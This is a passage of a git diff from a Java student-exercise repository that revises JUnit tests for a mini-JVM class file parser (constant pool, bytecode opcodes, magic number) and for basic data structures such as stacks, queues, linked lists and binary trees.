-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		//String code = m.getCodeAttr().getCode();
-		CodeAttr codeAttr = (CodeAttr)m.getAttributeInfos().get(0);
-		String code = codeAttr.getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
-   
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
-}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/EmployeeV1.java b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/EmployeeV1.java
deleted file mode 100644
index 9692355ed6..0000000000
--- a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package test.com.coderising.jvm;
-
-@SuppressWarnings("unused")
-public class EmployeeV1 {
-		
-	private String name;
-    private int age ;
-        
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
diff --git a/group17/102228177/work3_26/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/ClassFileloaderTest.java
similarity index 79%
rename from group17/102228177/work3_26/src/com/coderising/jvm/test/ClassFileloaderTest.java
rename to group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/ClassFileloaderTest.java
index 1e51c27361..b274338091 100644
--- a/group17/102228177/work3_26/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/ClassFileloaderTest.java
@@ -1,93 +1,87 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-//	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path1 = "D:\\git\\coding2017\\group17\\102228177\\work3_26\\bin";
-	static String path2 = "C:\temp";
-	
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
+package test.com.coderising.jvm.loader;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFileloaderTest {
+	
+	static String path1 = "F:\\githubRes\\coding2017\\group12\\2258659044\\zj-2017\\bin";
+	static String path2 = "C:\temp";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "test.com.coderising.jvm.loader.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1070, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "test.com.coderising.jvm.loader.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
 }
\ No newline at end of file
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/EmployeeV1.java b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/EmployeeV1.java
similarity index 88%
rename from group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/EmployeeV1.java
rename to group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/EmployeeV1.java
index 12e3d7efdd..463fb4a15f 100644
--- a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/EmployeeV1.java
+++ b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/EmployeeV1.java
@@ -1,28 +1,28 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
+package test.com.coderising.jvm.loader;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
index 98b79b3b6b..1357cf17cf 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
@@ -1,59 +1,58 @@
-package test.com.coding.basic;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.BinaryTree;
-import com.coding.basic.BinaryTreeNode;
-import com.coding.basic.List;
-
-public class BinaryTreeTest {
-
-	BinaryTree tree ;
-	
-	@Before
-    public void setup() {
-		
-		tree = new BinaryTree();
-		Assert.assertEquals(tree.getRoot(), null);
-		tree.insert(5);
-		tree.insert(2);
-		tree.insert(7);
-		tree.insert(1);
-		tree.insert(6);
-    }
-	@SuppressWarnings("unchecked")
-	@Test
-	public void insert(){
-		
-		BinaryTreeNode<Integer>  node = tree.insert(4);
-		Assert.assertEquals((int)node.getParent().getData(), 2);
-		Assert.assertEquals((int)node.getParent().getLeft().getData(), 1);
-		
-		BinaryTreeNode<Integer> node2 = tree.insert(8);
-		Assert.assertEquals((int)node2.getParent().getData(), 7);
-		Assert.assertEquals((int)node2.getParent().getLeft().getData(), 6);
-	}
-	
-	@Test
-	public void traversal(){
-		
-		insert();
-		//以根节点为起点先序遍历
-		List<Integer>  treeList = tree.traversalBefore(tree.getRoot());
-		//expected value
-		int[] exValue = {5,2,1,4,7,6,8};
-		for (int i = 0; i < exValue.length; i++) {
-			Assert.assertEquals((int)treeList.get(i),exValue[i]);
-		}
-		
-		//以数据2位起点先序遍历
-		List<Integer>  treeList2 = tree.traversalBefore(tree.getRoot().getLeft());
-		//expected value
-		int[] exValue2 = {2,1,4};
-		for (int i = 0; i < exValue2.length; i++) {
-			Assert.assertEquals((int)treeList2.get(i),exValue2[i]);
-		}
-	}
-}
+package test.com.coding.basic;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.BinaryTree;
+import com.coding.basic.BinaryTreeNode;
+import com.coding.basic.List;
+
+public class BinaryTreeTest {
+
+	BinaryTree tree ;
+	
+	@Before
+    public void setup() {
+		
+		tree = new BinaryTree();
+		Assert.assertEquals(tree.getRoot(), null);
+		tree.insert(5);
+		tree.insert(2);
+		tree.insert(7);
+		tree.insert(1);
+		tree.insert(6);
+    }
+	@Test
+	public void insert(){
+		
+		BinaryTreeNode  node = tree.insert(4);
+		Assert.assertEquals(node.getParent().getData(), 2);
+		Assert.assertEquals(node.getParent().getLeft().getData(), 1);
+		
+		BinaryTreeNode node2 = tree.insert(8);
+		Assert.assertEquals(node2.getParent().getData(), 7);
+		Assert.assertEquals(node2.getParent().getLeft().getData(), 6);
+	}
+	
+	@Test
+	public void traversal(){
+		
+		insert();
+		//以根节点为起点先序遍历
+		List  treeList = tree.traversalBefore(tree.getRoot());
+		//expected value
+		int[] exValue = {5,2,1,4,7,6,8};
+		for (int i = 0; i < exValue.length; i++) {
+			Assert.assertEquals(treeList.get(i),exValue[i]);
+		}
+		
+		//以数据2位起点先序遍历
+		List  treeList2 = tree.traversalBefore(tree.getRoot().getLeft());
+		//expected value
+		int[] exValue2 = {2,1,4};
+		for (int i = 0; i < exValue2.length; i++) {
+			Assert.assertEquals(treeList2.get(i),exValue2[i]);
+		}
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java
index b12d23cdbd..75af57b371 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java
@@ -1,64 +1,64 @@
-package test.com.coding.basic;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.Queue;
-
-public class QueueTest {
-
-	Queue<Object> qe ;
-	
-	@Before
-    public void setup() {
-		qe = new Queue<>();
-		for (int i = 0; i < 10; i++) {
-			qe.enQueue(i);
-		}		
-    }
-
-	@Test
-	public void enQueue(){
-		
-		Assert.assertEquals(qe.size(), 10);
-		qe.enQueue("abcd");
-		Assert.assertEquals(qe.size(), 11);
-	}
-	
-	@Test//(expected = IndexOutOfBoundsException.class)
-	public void deQueue(){
-		
-		Assert.assertEquals(qe.size(), 10);		
-		for (int i = 0; i < 10; i++) {
-			Assert.assertEquals(qe.deQueue(), i);
-		}
-		Assert.assertEquals(qe.size(), 0);
-		//打开下列语句与期望异常测试
-		//qe.deQueue();
-	}
-	
-	public void isEmpty(){
-		
-		Assert.assertEquals(qe.isEmpty(),false);
-		for (int i = 0; i < 10; i++) {
-			qe.deQueue();
-		}
-		Assert.assertEquals(qe.isEmpty(),true);
-		Queue<Object> qe1 = new Queue<>();
-		Assert.assertEquals(qe1.isEmpty(), true);
-	}
-	
-	public void size(){
-		
-		Assert.assertEquals(qe.size(),10);
-		qe.enQueue("lk");
-		qe.enQueue('h');
-		Assert.assertEquals(qe.size(),12);
-		for (int i = 0; i < 12; i++) {
-			qe.deQueue();
-		}
-		Assert.assertEquals(qe.size(),0);
-		Queue<Object> qe1 = new Queue<>();
-		Assert.assertEquals(qe1.size(), 0);
-	}
-}
+package test.com.coding.basic;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.Queue;
+
+public class QueueTest {
+
+	Queue qe ;
+	
+	@Before
+    public void setup() {
+		qe = new Queue();
+		for (int i = 0; i < 10; i++) {
+			qe.enQueue(i);
+		}		
+    }
+
+	@Test
+	public void enQueue(){
+		
+		Assert.assertEquals(qe.size(), 10);
+		qe.enQueue("abcd");
+		Assert.assertEquals(qe.size(), 11);
+	}
+	
+	@Test//(expected = IndexOutOfBoundsException.class)
+	public void deQueue(){
+		
+		Assert.assertEquals(qe.size(), 10);		
+		for (int i = 0; i < 10; i++) {
+			Assert.assertEquals(qe.deQueue(), i);
+		}
+		Assert.assertEquals(qe.size(), 0);
+		//打开下列语句与期望异常测试
+		//qe.deQueue();
+	}
+	
+	public void isEmpty(){
+		
+		Assert.assertEquals(qe.isEmpty(),false);
+		for (int i = 0; i < 10; i++) {
+			qe.deQueue();
+		}
+		Assert.assertEquals(qe.isEmpty(),true);
+		Queue qe1 = new Queue();
+		Assert.assertEquals(qe1.isEmpty(), true);
+	}
+	
+	public void size(){
+		
+		Assert.assertEquals(qe.size(),10);
+		qe.enQueue("lk");
+		qe.enQueue('h');
+		Assert.assertEquals(qe.size(),12);
+		for (int i = 0; i < 12; i++) {
+			qe.deQueue();
+		}
+		Assert.assertEquals(qe.size(),0);
+		Queue qe1 = new Queue();
+		Assert.assertEquals(qe1.size(), 0);
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/StackTest.java
similarity index 82%
rename from group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackTest.java
rename to group12/2258659044/zj-2017/src/test/com/coding/basic/StackTest.java
index d43b6f1914..5d9fcd0f16 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/StackTest.java
@@ -1,76 +1,76 @@
-package test.com.coding.basic.stack;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.stack.Stack;
-
-public class StackTest {
-
-	Stack<Object> st ;
-	
-	@Before
-    public void setup() {
-		st = new Stack<>();
-		for (int i = 0; i < 10; i++) {
-			st.push(i);
-		}		
-    }
-
-	@Test
-	public void push(){
-		
-		Assert.assertEquals(st.size(), 10);
-		st.push(10);
-		st.push('a');
-		Assert.assertEquals(st.size(), 12);
-	}
-	
-	@Test//(expected = IndexOutOfBoundsException.class)
-	public void pop(){
-		
-		Assert.assertEquals(st.size(), 10);
-		for (int i = 9; i >= 0; i--) {
-			Assert.assertEquals(st.pop(), i);
-		}
-		//打开下列语句抛出期望异常
-		//st.pop();
-	}
-	
-	@Test
-	public void peek(){
-		
-		Assert.assertEquals(st.size(), 10);
-		Assert.assertEquals(st.peek(), 9);
-		Assert.assertEquals(st.size(), 10);
-	}
-	
-	@Test
-	public void isEmpty(){
-		
-		Assert.assertEquals(st.isEmpty(), false);
-		for (int i = 0; i < 10; i++) {
-			st.pop();
-		}
-		Assert.assertEquals(st.isEmpty(), true);
-		Stack<Object> st1 = new Stack<>();
-		Assert.assertEquals(st1.isEmpty(), true);
-	}
-	
-    public void size(){
-		
-		Assert.assertEquals(st.size(),10);
-		st.push("lk");
-		st.push('h');
-		Assert.assertEquals(st.size(),12);
-		for (int i = 0; i < 12; i++) {
-			st.pop();
-		}
-		Assert.assertEquals(st.size(),0);
-		st.peek();
-		Assert.assertEquals(st.size(),0);
-		Stack<Object> st1 = new Stack<>();
-		Assert.assertEquals(st1.size(), 0);
-	}
-}
+package test.com.coding.basic;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.Stack;
+
+public class StackTest {
+
+	Stack st ;
+	
+	@Before
+    public void setup() {
+		st = new Stack();
+		for (int i = 0; i < 10; i++) {
+			st.push(i);
+		}		
+    }
+
+	@Test
+	public void push(){
+		
+		Assert.assertEquals(st.size(), 10);
+		st.push(10);
+		st.push('a');
+		Assert.assertEquals(st.size(), 12);
+	}
+	
+	@Test//(expected = IndexOutOfBoundsException.class)
+	public void pop(){
+		
+		Assert.assertEquals(st.size(), 10);
+		for (int i = 9; i >= 0; i--) {
+			Assert.assertEquals(st.pop(), i);
+		}
+		//打开下列语句抛出期望异常
+		//st.pop();
+	}
+	
+	@Test
+	public void peek(){
+		
+		Assert.assertEquals(st.size(), 10);
+		Assert.assertEquals(st.peek(), 9);
+		Assert.assertEquals(st.size(), 10);
+	}
+	
+	@Test
+	public void isEmpty(){
+		
+		Assert.assertEquals(st.isEmpty(), false);
+		for (int i = 0; i < 10; i++) {
+			st.pop();
+		}
+		Assert.assertEquals(st.isEmpty(), true);
+		Stack st1 = new Stack();
+		Assert.assertEquals(st1.isEmpty(), true);
+	}
+	
+    public void size(){
+		
+		Assert.assertEquals(st.size(),10);
+		st.push("lk");
+		st.push('h');
+		Assert.assertEquals(st.size(),12);
+		for (int i = 0; i < 12; i++) {
+			st.pop();
+		}
+		Assert.assertEquals(st.size(),0);
+		st.peek();
+		Assert.assertEquals(st.size(),0);
+		Stack st1 = new Stack();
+		Assert.assertEquals(st1.size(), 0);
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayListTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayListTest.java
index ee20d2e038..9c4d91e8b3 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayListTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayListTest.java
@@ -9,10 +9,10 @@
 
 public class ArrayListTest {
 
-	ArrayList<Object> ls ;
+	ArrayList ls ;
 	@Before
     public void setup() {
-        ls = new ArrayList<>();       
+        ls = new ArrayList();       
     }
 	
 	/**
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayUtilTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayUtilTest.java
index c7dce9c1aa..e8303b8aba 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayUtilTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayUtilTest.java
@@ -94,7 +94,7 @@ public void testJoin() {
 	@Test
 	public void testObjList2int() {
 		
-		ArrayList<Integer> ls = new ArrayList<>();
+		ArrayList ls = new ArrayList();
 		for (int i = 0; i < 10; i++) {
 			ls.add(i);
 		}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/linklist/LinkedListTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/linklist/LinkedListTest.java
index 26d95dbc98..9a6e86000e 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/linklist/LinkedListTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/linklist/LinkedListTest.java
@@ -9,10 +9,10 @@
 
 public class LinkedListTest {
 
-	LinkedList<Object> ls ;
+	LinkedList ls ;
 	@Before
     public void setup() {
-        ls = new LinkedList<>();       
+        ls = new LinkedList();       
     }
 	
 	/**
@@ -169,7 +169,7 @@ public void testGetElements(){
 		ls.add(201);ls.add(301);
 		ls.add(401);ls.add(501);
 		ls.add(601);ls.add(701);
-		LinkedList<Integer> list = new LinkedList<>();
+		LinkedList list = new LinkedList();
 		list.add(1);list.add(3);
 		list.add(4);list.add(6);
 		int[] exceptArr = {101,301,401,601};
@@ -189,7 +189,7 @@ public void testSubtract(){
 		ls.add(8);
 		ls.add(10);
 		
-		LinkedList<Object> list = new LinkedList<>();
+		LinkedList list = new LinkedList();
 		list.add(2);
 		list.add(5);
 		
@@ -236,19 +236,19 @@ public void testIntersection(){
 		ls.add(3);
 		ls.add(5);
 		
-		LinkedList<Object> list = new LinkedList<>();
+		LinkedList list = new LinkedList();
 		list.add(-1);
 		list.add(0);
 		list.add(5);
 		list.add(9);
 		
-		LinkedList<Object> newList = ls.intersection(list);
+		LinkedList newList = ls.intersection(list);
 		
 		int[] exceptArr = {-1,0,5};
 		exceptResult(newList,exceptArr);
 	}
 	
-    private void exceptResult(LinkedList<Object> ls,int[] exceptArr){
+    private void exceptResult(LinkedList ls,int[] exceptArr){
 		
 		Assert.assertEquals(ls.size(), exceptArr.length);
 		for (int i = 0; i < exceptArr.length; i++) {
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackUtilTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackUtilTest.java
deleted file mode 100644
index d09f893de2..0000000000
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackUtilTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package test.com.coding.basic.stack;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.stack.Stack;
-import com.coding.basic.stack.StackUtil;
-
-public class StackUtilTest {
-	
-	Stack<Object> s ;
-    
-    @Before
-    public void setup() {
-    	//初始化栈元素：5,4,3,2,1
-		s = new Stack<>();
-		for (int i = 1; i <= 5; i++) {
-			s.push(i);
-		}
-    }
-    	
-	@Test
-	public void testReverse() {
-		
-		StackUtil.reverse(s);
-		Assert.assertEquals(s.size(), 5);		
-		Assert.assertEquals("[1,2,3,4,5]", s.toString());
-	}
-
-	@Test
-	public void testRemove() {
-		
-		StackUtil.remove(s, 5);
